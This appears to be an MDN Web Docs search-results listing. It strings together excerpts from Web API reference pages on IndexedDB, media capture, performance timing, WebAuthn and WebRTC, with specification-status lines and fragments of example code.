}; specifications specification status comment indexed database api 2.0the definition of 'onerror' in that specification.
... recommendation indexed database api draftthe definition of 'onerror' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
IDBRequest.onsuccess - Web APIs
object to "yes" data.notified = "yes"; // create another request that inserts the item back // into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'onsuccess' in that specification.
... recommendation indexed database api draftthe definition of 'onsuccess' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
IDBRequest.readyState - Web APIs
var updatetitlerequest = objectstore.put(data); // log the source of this request console.log("the readystate of this request is " + updatetitlerequest.readystate); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'readystate' in that specification.
... recommendation indexed database api draftthe definition of 'readystate' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
IDBRequest.result - Web APIs
WebAPIIDBRequestresult
object to "yes" data.notified = "yes"; // create another request that inserts the item // back into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'result' in that specification.
... recommendation indexed database api draftthe definition of 'result' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
IDBRequest.source - Web APIs
WebAPIIDBRequestsource
e database var updatetitlerequest = objectstore.put(data); // log the source of this request console.log("the source of this request is " + updatetitlerequest.source); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'source' in that specification.
... recommendation indexed database api draftthe definition of 'source' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
IDBRequest.transaction - Web APIs
}; specifications specification status comment indexed database api 2.0the definition of 'transaction' in that specification.
... recommendation indexed database api draftthe definition of 'transaction' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
IDBTransaction.objectStoreNames - Web APIs
specification specification status comment indexed database api 2.0the definition of 'objectstorenames' in that specification.
... recommendation indexed database api draftthe definition of 'objectstorenames' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
IDBTransaction.db - Web APIs
WebAPIIDBTransactiondb
tion(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // return the database (idbdatabase) connection with which this transaction is associated transaction.db; }; specification specification status comment indexed database api 2.0the definition of 'db' in that specification.
... recommendation indexed database api draftthe definition of 'db' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
IDBTransaction.mode - Web APIs
(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // return the mode this transaction has been opened in (should be "readwrite" in this case) transaction.mode; }; specification specification status comment indexed database api 2.0the definition of 'mode' in that specification.
... recommendation indexed database api draftthe definition of 'mode' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
IDBTransaction.objectStore() - Web APIs
he object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; specification specification status comment indexed database api 2.0the definition of 'objectstore()' in that specification.
... recommendation indexed database api draftthe definition of 'objectstore()' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
IDBTransaction.onabort - Web APIs
een stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; transaction.onabort = function() { // report when the transaction was successfully aborted console.log("transaction aborted!"); }; // abort the transaction we just did transaction.abort(); }; specification specification status comment indexed database api 2.0the definition of 'onabort' in that specification.
... recommendation indexed database api draftthe definition of 'onabort' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
IDBTransaction.oncomplete - Web APIs
he object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.oncomplete) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'oncomplete' in that specification.
... recommendation indexed database api draftthe definition of 'oncomplete' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
IDBTransaction.onerror - Web APIs
the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'onerror' in that specification.
... recommendation indexed database api draftthe definition of 'onerror' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
IDBVersionChangeEvent.newVersion - Web APIs
db = dbopenrequest.result; }; specifications specification status comment indexed database api 2.0the definition of 'newversion' in that specification.
... recommendation indexed database api draftthe definition of 'newversion' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
IDBVersionChangeEvent.oldVersion - Web APIs
}; specifications specification status comment indexed database api 2.0the definition of 'oldversion' in that specification.
... recommendation indexed database api draftthe definition of 'oldversion' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
IDBVersionChangeEvent - Web APIs
db = dbopenrequest.result; }; specifications specification status comment indexed database api 2.0the definition of 'idbversionchangeevent' in that specification.
... recommendation initial definition.
... recommendation ...
KeyboardEvent.getModifierState() - Web APIs
"fnlock" not supported "hyper" not supported "meta" not supported meta key pressed ⌘ command key pressed not supported ⊞ windows logo key or command key pressed "numlock" during led for num lock turned on a key on numpad pressed not supported while numlock is locked "os" ⊞ windows logo key pressed super key or hyper key pressed (typically, mapped to ⊞ windows logo key) not supported "scrolllock" during led for scroll lock...
...however, on mac, pressing ⌘ command key may make it return true.
... specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'getmodifierstate()' in that specification.
KeyboardEvent - Web APIs
examples include the left control key, the left command key on a macintosh keyboard, or the left shift key.
... keyboardevent.metakey read only returns a boolean that is true if the meta key (on mac keyboards, the ⌘ command key; on windows keyboards, the windows key (⊞)) was active when the key event was generated.
... if (keyname === 'control') { alert('control key was released'); } }, false); </script> </head> <body> </body> </html> specifications specification status comment ui eventsthe definition of 'keyboardevent' in that specification.
MediaDevices.getUserMedia() - Web APIs
it is recommended to use the adapter.js polyfill instead, which does handle constraints.
..."user" : "environment") } }; specifications specification status comment media capture and streamsthe definition of 'mediadevices.getusermedia()' in that specification.
... candidate recommendation initial definition ...
MediaQueryList - Web APIs
a mediaquerylist object stores information on a media query applied to a document, with support for both immediate and event-driven matching against the state of the document.
... this is very useful for adaptive design, since this makes it possible to observe a document to detect when its media queries change, instead of polling the values periodically, and allows you to programmatically make changes to a document based on media query status.
... specifications specification status comment css object model (cssom) view modulethe definition of 'mediaquerylist' in that specification.
MediaSession.setActionHandler() - Web APIs
values each of the actions is a common media session control request.
... skipad skips past the currently playing advertisement or commercial.
... specifications specification status comment media session standardthe definition of 'media session action types' in that specification.
Media Session action types - Web APIs
values each of the actions is a common media session control request.
... skipad skips past the currently playing advertisement or commercial.
... specifications specification status comment media session standardthe definition of 'media session action types' in that specification.
MediaSessionActionDetails - Web APIs
values each of the actions is a common media session control request.
... skipad skips past the currently playing advertisement or commercial.
... specifications specification status comment media session standardthe definition of 'media session action types' in that specification.
MediaSource.endOfStream() - Web APIs
when you make an xmlhttprequest call for a media chunk, and onabort or onerror triggers, you might want to call endofstream('network'), display a descriptive message in the ui, and maybe retry the network request immediately or wait until the network is back up (via some kind of polling.) decode: terminates playback and signals that a decoding error has occured.
... var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'endofstream()' in that specification.
... recommendation initial definition.
MediaStream.getTrackById() - Web APIs
example this example activates a commentary track on a video by ducking the audio level of the main audio track to 50%, then enabling the commentary track.
... stream.gettrackbyid("primary-audio-track").applyconstraints({ volume: 0.5 }); stream.gettrackbyid("commentary-track").enabled = true; specifications specification status comment media capture and streamsthe definition of 'gettrackbyid()' in that specification.
... candidate recommendation initial specification.
MediaStreamConstraints.audio - Web APIs
: 8, echocancellation: true } }).then(stream => audioelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event which calls getusermedia(), specifying a set of audio constraints requesting that echo cancellation be enabled and that, if possible, the sample rate be 8 bits per sample instead of the more common 16 bits (possibly as a bandwidth saving measure).
... result specifications specification status comment media capture and streamsthe definition of 'mediastreamconstraints.audio' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack - Web APIs
specifications specification status comment identity for webrtcthe definition of 'isolated tracks' in that specification.
... candidate recommendation additional properties for isolated track support media capture and streamsthe definition of 'mediastreamtrack' in that specification.
... candidate recommendation initial definition ...
MediaTrackConstraints.deviceId - Web APIs
however, the value of the deviceid is determined by the source of the track's content, and there's no particular format mandated by the specification (although some kind of guid is recommended).
... specifications specification status comment media capture and streamsthe definition of 'deviceid' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.groupId - Web APIs
however, the value of the groupid is determined by the source of the track's content, and there's no particular format mandated by the specification (although some kind of guid is recommended).
... specifications specification status comment media capture and streamsthe definition of 'groupid' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.deviceId - Web APIs
the actual value of the string, however, is determined by the source of the track, and there is no guarantee what form it will take, although the specification does recommend it be a guid.
... specifications specification status comment media capture and streamsthe definition of 'deviceid' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.groupId - Web APIs
the actual value of the string, however, is determined by the source of the track, and there is no guarantee what form it will take, although the specification does recommend it be a guid.
... specifications specification status comment media capture and streamsthe definition of 'groupid' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.sampleRate - Web APIs
common values include 44,100 (standard cd audio), 48,000 (standard digital audio), 96,000 (commonly used in audio mastering and post-production), and 192,000 (used for high-resolution audio in professional recording and mastering sessions).
... specifications specification status comment media capture and streamsthe definition of 'samplerate' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings - Web APIs
common values include 1.3333333333 (for the classic television 4:3 "standard" aspect ratio, also used on tablets such as apple's ipad), 1.7777777778 (for the 16:9 high-definition widescreen aspect ratio), and 1.6 (for the 16:10 aspect ratio common among widescreen computers and tablets).
...the value will be one of: "user" a camera facing the user (commonly known as a "selfie cam"), used for self-portraiture and video calling.
... specifications specification status comment screen capturethe definition of 'mediatracksettings' in that specification.
Media Session API - Web APIs
it then instantiates a metadata object for the session, and adds event handlers for the user control actions: if ('mediasession' in navigator) { navigator.mediasession.metadata = new mediametadata({ title: 'unforgettable', artist: 'nat king cole', album: 'the ultimate collection (remastered)', artwork: [ { src: 'https://dummyimage.com/96x96', sizes: '96x96', type: 'image/png' }, { src: 'https://dummyimage.com/128x128', sizes: '128x128', type: 'image/png' }, { src: 'https://dummyimage.com/192x192', sizes: '192x192', type: 'image/png' }, { src: 'https://dummyimage.com/256x256', sizes: '256x256', type: 'image/png' }, { src: 'https://dummyimage.com/384x384', sizes: '384x384', type: 'image/png'...
... }, { src: 'https://dummyimage.com/512x512', sizes: '512x512', type: 'image/png' }, ] }); navigator.mediasession.setactionhandler('play', function() { /* code excerpted.
...*/ }) .catch(error => { console.log(error) }); }); specifications specification status comment media session standard draft initial definition.
MutationObserver.takeRecords() - Web APIs
the most common use case for this is to immediately fetch all pending mutation records immediately prior to disconnecting the observer, so that any pending mutations can be processed when stopping down the observer.
...this is done immediately prior to calling disconnect() to stop observing the dom.
... specifications specification status comment domthe definition of 'mutationobserver.takerecords()' in that specification.
Navigator.registerProtocolHandler() - Web APIs
it is recommended to always set the title, since browsers that support the updated spec most likely will be backwards-compatible and still accept the title (but not use it).
... otherwise, the scheme must be one of the following: bitcoin geo im irc ircs magnet mailto mms news nntp openpgp4fpr sip sms smsto ssh tel urn webcal wtai xmpp example if your site is burgers.example.com, you can register a protocol handler for it to handle web+burger: links, like so: navigator.registerprotocolhandler("web+burger", "https://burgers.example.com/?burger=%s", "burger handler"); this create...
...see the screenshot below for an example on google.co.uk: specifications specification status comment html living standardthe definition of 'registerprotocolhandler()' in that specification.
Navigator - Web APIs
WebAPINavigator
navigator.serviceworker read only returns a serviceworkercontainer object, which provides access to registration, removal, upgrade, and communication with the serviceworker objects for the associated document.
... navigator.wakelock read only returns a wakelock interface you can use to request screen wake locks and prevent screen from dimming, turning off, or showing a screen saver.
... specifications specification status comment html living standardthe definition of 'the navigator object' in that specification.
NetworkInformation - Web APIs
the networkinformation interface provides information about the connection a device is using to communicate with the network and provides a means for scripts to be notified if the connection type changes.
... networkinformation.type read only returns the type of connection a device is using to communicate with the network.
... specifications specification status comment network information apithe definition of 'networkinformation' in that specification.
Node.nextSibling - Web APIs
WebAPINodenextSibling
the node.nextsibling read-only property returns the node immediately following the specified one in their parent's childnodes, or returns null if the specified node is the last child in the parent element.
... element.nextelementsibling may be used to obtain the next element skipping any whitespace nodes, other between-element text, or comments.
... specifications specification status comment domthe definition of 'node.nextsibling' in that specification.
Node.nodeValue - Web APIs
WebAPINodenodeValue
for text, comment, and cdata nodes, nodevalue returns the content of the node.
... the following table shows the return values for different elements: node value of nodevalue cdatasection content of the cdata section comment content of the comment document null documentfragment null documenttype null element null namednodemap null entityreference null notation null processinginstruction entire content excluding the target text content of the text node when nodevalue is defined to be null, setting it has no effect.
... specifications specification status comment domthe definition of 'node: nodevalue' in that specification.
Node.textContent - Web APIs
WebAPINodetextContent
if the node is a cdata section, comment, processing instruction, or text node, textcontent returns the text inside the node, i.e., the node.nodevalue.
... for other node types, textcontent returns the concatenation of the textcontent of every child node, excluding comments and processing instructions.
...or set the element's text content: document.getelementbyid('diva').textcontent = 'this text is different!'; // the html for diva is now: // <div id="diva">this text is different!</div> specifications specification status comment domthe definition of 'node.textcontent' in that specification.
Node - Web APIs
WebAPINode
these include attr, characterdata (which text, comment, and cdatasection are all based on), processinginstruction, documenttype, notation, entity, and entityreference.
...possible values are: name value element_node 1 attribute_node 2 text_node 3 cdata_section_node 4 entity_reference_node 5 entity_node 6 processing_instruction_node 7 comment_node 8 document_node 9 document_type_node 10 document_fragment_node 11 notation_node 12 node.nodevalue returns / sets the value of the current node.
... else { matches.push(node) } } }) return matches } for example, to find text nodes that contain typos: const typos = ["teh", "adn", "btu", "adress", "youre", "msitakes"] const pattern = new regexp("\\b(" + typos.join("|") + ")\\b", "gi") const mistakes = grep(document.body, pattern) console.log(mistakes) specifications specification status comment domthe definition of 'node' in that specification.
NodeList.length - Web APIs
WebAPINodeListlength
example the length property is often useful in dom programming.
...it's also commonly used as the iterator in a for loop, as in this example.
... // all the paragraphs in the document var items = document.getelementsbytagname("p"); // for each item in the list, // append the entire element as a string of html var gross = ""; for (var i = 0; i < items.length; i++) { gross += items[i].innerhtml; } // gross is now all the html for the paragraphs specifications specification status comment domthe definition of 'nodelist: length' in that specification.
NonDocumentTypeChildNode - Web APIs
nondocumenttypechildnode.previouselementsibling read only returns the element immediately prior to this node in its parent's children list, or null if there is no element in the list prior to this node.
... nondocumenttypechildnode.nextelementsibling read only returns the element immediately following this node in its parent's children list, or null if there is no element in the list following this node.
... specifications specification status comment domthe definition of 'nondocumenttypechildnode' in that specification.
Notification - Web APIs
notification.close() programmatically closes a notification instance.
...this is not only best practice — you should not be spamming users with notifications they didn't agree to — but going forward browsers will explicitly disallow notifications not triggered in response to a user gesture.
... specifications specification status comment notifications api living standard living standard ...
OffscreenCanvas - Web APIs
// commit rendering to the first canvas var bitmapone = offscreen.transfertoimagebitmap(); one.transferfromimagebitmap(bitmapone); // ...
... // commit rendering to the second canvas var bitmaptwo = offscreen.transfertoimagebitmap(); two.transferfromimagebitmap(bitmaptwo); asynchronous display of frames produced by an offscreencanvas another way to use the offscreencanvas api, is to call transfercontroltooffscreen() on a <canvas> element, either on a worker or the main thread, which will return an offscreencanvas object from an htmlcanvaselement object from the main thread.
... requestanimationframe(render); } requestanimationframe(render); }; specifications specification status comment html living standardthe definition of 'offscreencanvas' in that specification.
PaintWorklet - Web APIs
the paintworklet interface of the css painting api programmatically generates an image where a css property expects a file.
... paintworklet.registerpaint() registers a class programmatically generate an image where a css property expects a file.
... @supports (background: paint(id)) { background-image: paint(checkerboard); } specifications specification status comment css painting api level 1the definition of 'paintworkletglobalscope' in that specification.
Path2D.addPath() - Web APIs
WebAPIPath2DaddPath
transform optional a dommatrix to be used as the transformation matrix for the path that is added.
... (technically a dommatrixinit object).
...; p2.rect(0, 0, 100, 75); // create transformation matrix that moves 200 points to the right let m = document.createelementns('http://www.w3.org/2000/svg', 'svg').createsvgmatrix(); m.a = 1; m.b = 0; m.c = 0; m.d = 1; m.e = 200; m.f = 0; // add second path to the first path p1.addpath(p2, m); // draw the first path ctx.fill(p1); result specifications specification status comment html living standardthe definition of 'path2d.addpath()' in that specification.
PaymentAddress.region - Web APIs
usage notes in some countries, like belgium, it's uncommon for people to provide a region as part of their postal address.
... specifications specification status comment payment request apithe definition of 'paymentaddress.region' in that specification.
... candidate recommendation initial definition.
PaymentCurrencyAmount.currencySystem - Web APIs
specifications specification status comment payment request apithe definition of 'paymentcurrencyamount' in that specification.
... candidate recommendation no longer part of the specification payment request api the definition of 'paymentcurrencyamount.currencysystem' in that specification.
... candidate recommendation the march 20, 2018 version of the specification; the last one to include this property ...
PaymentCurrencyAmount.value - Web APIs
important note: the number given in this string is always specified using the period (".") as the decimal point, rather than the comma (","), even if the user's locale normally uses the comma.
... specifications specification status comment payment request apithe definition of 'paymentcurrencyamount.value' in that specification.
... candidate recommendation ...
PaymentRequest.PaymentRequest() - Web APIs
this property is commonly used to add a discount or surcharge line item indicating the different amount in details.modifiers.total.
...} specifications specification status comment payment request apithe definition of 'paymentrequest() constructor' in that specification.
... candidate recommendation initial definition.
Payment processing concepts - Web APIs
url-based payment method identifiers these may vary substantially depending on the specifics of the service, and a given processing service may have multiple urls used, depending on the version of their api, their communication technology, and so forth.
... specifications specification status comment payment request api candidate recommendation initial definition.
... payment method identifiers candidate recommendation defines payment method identifiers and how they are validated, and, where applicable, minted and formally registered with the w3c.
performance.getEntries() - Web APIs
.duration); } // use getentriesbyname() to get all "mark" entries named "begin" p = performance.getentriesbyname("begin", "mark"); for (let i=0; i < p.length; i++) { console.log ("mark and begin entry[" + i + "]: name = " + p[i].name + "; starttime = " + p[i].starttime + "; duration = " + p[i].duration); } } specifications specification status comment performance timeline level 2the definition of 'getentries()' in that specification.
... candidate recommendation performance timelinethe definition of 'getentries()' in that specification.
... recommendation initial definition.
performance.getEntriesByName() - Web APIs
" + p[i].duration); } // use getentriesbyname() to get all "mark" entries named "begin" p = performance.getentriesbyname("begin", "mark"); for (var i=0; i < p.length; i++) { log ("mark and begin entry[" + i + "]: name = " + p[i].name + "; starttime = " + p[i].starttime + "; duration = " + p[i].duration); } } specifications specification status comment performance timeline level 2the definition of 'getentriesbyname()' in that specification.
... candidate recommendation performance timelinethe definition of 'getentriesbyname()' in that specification.
... recommendation initial definition.
performance.getEntriesByType() - Web APIs
" + p[i].duration); } // use getentriesbyname() to get all "mark" entries named "begin" p = performance.getentriesbyname("begin", "mark"); for (var i=0; i < p.length; i++) { log ("mark and begin entry[" + i + "]: name = " + p[i].name + "; starttime = " + p[i].starttime + "; duration = " + p[i].duration); } } specifications specification status comment performance timeline level 2the definition of 'getentriesbytype()' in that specification.
... candidate recommendation performance timelinethe definition of 'getentriesbytype()' in that specification.
... recommendation initial definition.
performance.now() - Web APIs
WebAPIPerformancenow
specifications specification status comment high resolution time level 2the definition of 'performance.now()' in that specification.
... recommendation stricter definitions of interfaces and types.
... recommendation initial definition ...
performance.setResourceTimingBufferSize() - Web APIs
a browser's recommended resource timing buffer size is at least 150 performance entry objects.
...performance.setresourcetimingbuffersize() = not supported"); } } specifications specification status comment resource timing level 1the definition of 'setresourcetimingbuffersize()' in that specification.
... candidate recommendation initial definition.
PerformanceEntry.duration - Web APIs
= not supported"); } for (var i=0; i < methods.length; i++) { // check each method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status comment performance timeline level 2the definition of 'duration' in that specification.
... candidate recommendation performance timelinethe definition of 'duration' in that specification.
... recommendation initial definition.
PerformanceEntry.entryType - Web APIs
"begin" via the mark() method performance.mark("begin"); // check the entrytype of all the "begin" entries var entriesnamedbegin = performance.getentriesbyname("begin"); for (var i=0; i < entriesnamedbegin.length; i++) { var typeofentry = entriesnamedbegin[i].entrytype; console.log("entry is type: " + typeofentry); } } specifications specification status comment performance timeline level 2the definition of 'entrytype' in that specification.
... candidate recommendation performance timelinethe definition of 'entrytype' in that specification.
... recommendation initial definition.
PerformanceEntry.name - Web APIs
= not supported"); } for (var i=0; i < methods.length; i++) { // check each method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status comment performance timeline level 2the definition of 'name' in that specification.
... candidate recommendation performance timelinethe definition of 'name' in that specification.
... recommendation initial definition.
PerformanceNavigationTiming.domComplete - Web APIs
the domcomplete read-only property returns a timestamp representing the time value equal to the time immediately before the user agent sets the current document readiness of the current document to complete.
... syntax perfentry.domcomplete; return value a timestamp representing a time value equal to the time immediately before the user agent sets the current document readiness of the current document to complete.
...tive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'domcomplete' in that specification.
PerformanceNavigationTiming.domContentLoadedEventEnd - Web APIs
the domcontentloadedeventend read-only property returns a timestamp representing the time value equal to the time immediately after the current document's domcontentloaded event completes.
... syntax perfentry.domcontentloadedeventend; return value a timestamp representing the time value equal to the time immediately after the current document's domcontentloaded event completes.
...e = " + p.dominteractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'domcontentloadedeventend' in that specification.
PerformanceNavigationTiming.domContentLoadedEventStart - Web APIs
the domcontentloadedeventstart read-only property returns a timestamp representing the time value equal to the time immediately before the user agent fires the domcontentloaded event at the current document.
... syntax perfentry.domcontentloadedeventstart; return value a timestamp representing the time value equal to the time immediately before the user agent fires the domcontentloaded event at the current document.
...tive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'domcontentloadedeventstart' in that specification.
PerformanceNavigationTiming.domInteractive - Web APIs
the dominteractive read-only property returns a timestamp representing the time value equal to the time immediately before the user agent sets the current document readiness of the current document to interactive.
... syntax perfentry.dominteractive; return value a timestamp representing the time value equal to the time immediately before the user agent sets the current document readiness of the current document to interactive.
...e = " + p.dominteractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'dominteractive' in that specification.
PerformanceNavigationTiming.loadEventStart - Web APIs
the loadeventstart read-only property returns a timestamp representing the time value equal to the time immediately before the load event of the current document is fired.
... syntax perfentry.loadeventstart; return value a timestamp representing a time value equal to the time immediately before the load event of the current document is fired.
...tive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'loadeventstart' in that specification.
PerformanceNavigationTiming.unloadEventEnd - Web APIs
the unloadeventend read-only property returns a timestamp representing the time value equal to the time immediately after the user agent finishes the unload event of the previous document.
... syntax perfentry.unloadeventend; return value a timestamp representing a time value equal to the time immediately after the user agent finishes the unload event of the previous document.
...tive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'unloadeventend' in that specification.
PerformanceNavigationTiming.unloadEventStart - Web APIs
the unloadeventstart read-only property returns a timestamp representing the time value equal to the time immediately before the user agent starts the unload event of the previous document.
... syntax perfentry.unloadeventstart; return value a timestamp representing the time value equal to the time immediately before the user agent starts the unload event of the previous document.
...tive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'unloadeventstart' in that specification.
PerformanceResourceTiming.connectEnd - Web APIs
the connectend read-only property returns the timestamp immediately after the browser finishes establishing the connection to the server to retrieve the resource.
..." + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'connectend' in that specification.
... candidate recommendation initial definition.
Using Pointer Events - Web APIs
function handlecancel(evt) { log("pointercancel: id = " + evt.pointerid); var idx = ongoingtouchindexbyid(evt.pointerid); ongoingtouches.splice(idx, 1); // remove it; we're done } since the idea is to immediately abort the touch, we simply remove it from the ongoing touch list without drawing a final line segment.
...ngoingtouchindexbyid(idtofind) { for (var i = 0; i < ongoingtouches.length; i++) { var id = ongoingtouches[i].identifier; if (id == idtofind) { return i; } } return -1; // not found } showing what's going on function log(msg) { var p = document.getelementbyid('log'); p.innerhtml = msg + "\n" + p.innerhtml; } specifications specification status comment pointer events – level 2the definition of 'pointerevent' in that specification.
... recommendation non-stable version.
PublicKeyCredential - Web APIs
the publickeycredential interface provides information about a public key / private key pair, which is a credential for logging in to a service using an un-phishable and data-breach resistant asymmetric key pair instead of a password.
... var options = { challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'publickeycredential interface' in that specification.
... recommendation initial definition.
PublicKeyCredentialCreationOptions.excludeCredentials - Web APIs
the value of the strings may be: "usb": the authenticator can be contacted via a removable usb link "nfc": the authenticator may be used over nfc (near field communication) "ble": the authenticator may be used over ble (bluetooth low energy) "internal": the authenticator is specifically bound to the client device (cannot be removed).
... pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'excludecredentials' in that specification.
... recommendation initial definition.
PublicKeyCredentialRequestOptions.allowCredentials - Web APIs
the value of the strings may be: "usb": the authenticator can be contacted via a removable usb link "nfc": the authenticator may be used over nfc (near field communication) "ble": the authenticator may be used over ble (bluetooth low energy) "internal": the authenticator is specifically bound to the client device (cannot be removed).
... server } ], challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'allowcredentials' in that specification.
... recommendation initial definition.
RTCConfiguration.iceServers - Web APIs
if the list of servers is changed while a connection is already active by calling the the rtcpeerconnection method setconfiguration(), no immediate effect occurs.
... urls: "stun:stun.services.mozilla.com", username: "louis@mozilla.com", credential: "webrtcdemo" }, { urls: ["stun:stun.example.com", "stun:stun-1.example.com"] }] }; var pc = new rtcpeerconnection(configuration); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcconfiguration.iceservers' in that specification.
... candidate recommendation initial definition.
RTCConfiguration - Web APIs
if the remote endpoint is not bundle-aware, then each of these dtls transports then handles all the communication for one type of data.
... urls: "stun:stun.services.mozilla.com", username: "louis@mozilla.com", credential: "webrtcdemo" }, { urls: ["stun:stun.example.com", "stun:stun-1.example.com"] }] }; var pc = new rtcpeerconnection(configuration); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcconfiguration' in that specification.
... candidate recommendation initial definition.
RTCDTMFSender.toneBuffer - Web APIs
the comma (",") this character instructs the dialing process to pause for two seconds before sending the next character in the buffer.
... example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtmfsender.tonebuffer' in that specification.
... candidate recommendation ...
RTCDTMFSender - Web APIs
the primary purpose for webrtc's dtmf support is to allow webrtc-based communication clients to be connected to a public-switched telephone network (pstn) or other legacy telephone service, including extant voice over ip (voip) services.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtmfsender' in that specification.
... candidate recommendation ...
RTCDTMFToneChangeEvent.RTCDTMFToneChangeEvent() - Web APIs
the comma (",") this character instructs the dialing process to pause for two seconds before sending the next character in the buffer.
